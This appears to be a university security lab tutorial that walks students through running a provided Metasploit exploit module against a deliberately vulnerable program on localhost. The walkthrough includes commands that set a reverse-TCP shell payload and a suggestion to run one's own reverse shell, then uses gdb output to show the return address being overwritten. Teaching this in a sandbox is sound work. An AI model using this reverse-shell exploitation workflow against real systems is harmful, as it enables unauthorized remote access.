Metasploit is a hacking framework written in ruby. It is designed to help make writing and executing exploits as simple as possible. This tutorial will walk you through using Metasploit to write a custom exploit.
To start the lab clone the 354 repo (if you haven't) and run the script to start your container.
git clone https://github.com/cs354/CS-354.git bash CS-354/student_environment.bash
First step is to startup the program we'll be attacking:
cd /mnt/labs/metasploit/vulnerable_program make ./vulnerable 4000 &
We've created an explicity vulnerable program on port 4000. This program will execute any input it's given as shellcode. Since you've completed the shellcode project you understand that writing shellcode by hand is difficult. Luckily there a great tools that can used to access and execute pre-written shellcode, enter metasploit. In metasploit these pieces of shellcode are called payloads, they are executed in the context of exploits. An exploit is a set of instructions on what to do after making a connection to the victim machine, including where in your attack to put the payload. We've written a basic exploit for you. Copy it to the metasploit exploit directory. Our exploit is simple and contains nothing other than the payload.
cp /mnt/labs/metasploit/exploits/msflab.rb /usr/share/metasploit-framework/modules/exploits
Now you're ready to launch Metasploit and use your exploit simply run
Before executing your exploit, it is useful to understand what some Metasploit commands do. Below are some of the command that you will use most.
use exploitnameTells Metasploit to use the exploit with a specified file name (for us this is msflab).
set RHOST hostname_or_ipWill instruct Metasploit to target the specified remote host. (for us this is 127.0.0.1 since we attacking a program running the same computer)
set RPORT report_portSets the port that Metasploit will connect to on the remote host. (for us this is 4000)
set PAYLOAD linux/x64/shell/reverse_tcpSets the payload that is used to a payload targeted at Linux x64 platforms that will give you a shell when a service is exploited.
set LPORT local_portSets the port number that the payload will open on the server when an exploit is exploited. It is important that this port number be a port that can be opened on the server (ie it is not in use by another service and not reserved for administrative use), so set it to a random 4 digit number greater than 1024, and you should be fine. You'll have to change the number each time you successfully exploit a service as well.
exploitActually exploits the service. Another version of
rexploitreloads your exploit code and then executes the exploit. This allows you to try minor changes to your exploit code without restarting the console.
sessionsWill help you interact with different remote shell sessions that have been opened on the server.
show optionsWill show you options that you have set and possibly ones that you might have forgotten to set. Each exploit and payload comes with its own options that you can set.
show payloadscan also be used to show all exploits and payloads that are built in to Metasploit.
helpWill give you basic information on commands not listed here.
show payloadsWill give you a list of valid payloads for your current exploit (or all payloads if not exploit is set)
All that's left is to issue a series of simple commands. The
commands below use the
example exploit to attack
localhost on port
4000 with the
linux/x64/shell/reverse_tcp payload. When it is successful it will open
9485 on the target machine and Metasploit will show you
use msflab set RHOST 127.0.0.1 set RPORT 4000 set PAYLOAD linux/x64/shell/reverse_tcp set LHOST 127.0.0.1 set LPORT 5000 exploit
Try the following:
Swaping to the
linux/x64/execpayload and running a cmd (maybe your own reverse shell, maybe touch a file)
Change the space options in the initialize function of the exploit, what does this do?
Open up the vulnerable program in gdb.
gdb vulnerable # open the executable vulnerable set follow-fork-mode child # if a new thread is created follow the new thread not the old b overwrite # breakpoint in the function overwrite run 1234 # run with 1234 as the arguemnet (and port the program will listen on)
Now exploit again with metasploit. Gdb should jump to the overwrite function:
[Switching to Thread 0x7ffff7de5740 (LWP 499)] Thread 2.1 "vulnerable" hit Breakpoint 1, overwrite ( buf=0x7fffffffdb80 "\221\237\231\227\...67\f\016\r\361q\016\016\017_F\207\350d\036Td$V\001\vWF\213\316w+G\361\307z\026Yd-Vd\016d\vF\207\351F?\370\001"...) at src/server.c:34 34 ret = (long*)&ret + 1;
Switch the gdb layout which shows you C code + assembly by typing
layout n until you get that view. Print out the contents of the saved RIP. This is the address the program will jump when the function completes. It can be found at $rbp+8. Also print out the address of buf, the buffer containing your payload. In gdb:
(gdb) x/gx $rbp+8 0x7fffffffdb68: 0x0000555555555458 (gdb) p buf $1 = 0x7fffffffdb80 "\221\237\231\2...F?\370\001"
That shows us that the current return address is
0x0000555555555458 and that buf is located at
0x7fffffffdb80. Step to the end of the function with 'n' or next;
(gdb) n 35 (*ret) = (long)buf; (gdb) n ... 42 return NULL; (gdb) n 43 }
Now print out the return address again:
(gdb) x/gx $rbp+8 0x7fffffffdb68: 0x00007fffffffdb80
Notice it's the same as the address of buf. The program overwrote it for you. Now type 'si' (step instruction, i.e. an assembly instruction) a few to step forward in the code.
>│0x7fffffffdb80 xchg %eax,%ecx │ │0x7fffffffdb81 lahf │ │0x7fffffffdb82 cltd │
You'll see a jump when the function ends to an area like this. Notice that the current RIP (indicated by > in GDB) is the address of buf
0x7fffffffdb80 we found earlier. The program is now executing our input as if it were code.
In general programs wont simply allow you to execute your own code this easily. In the buffer overflow project you will learn a common way to force them to. Press
c continue and execution will continue until the next breakpoint (if there is one).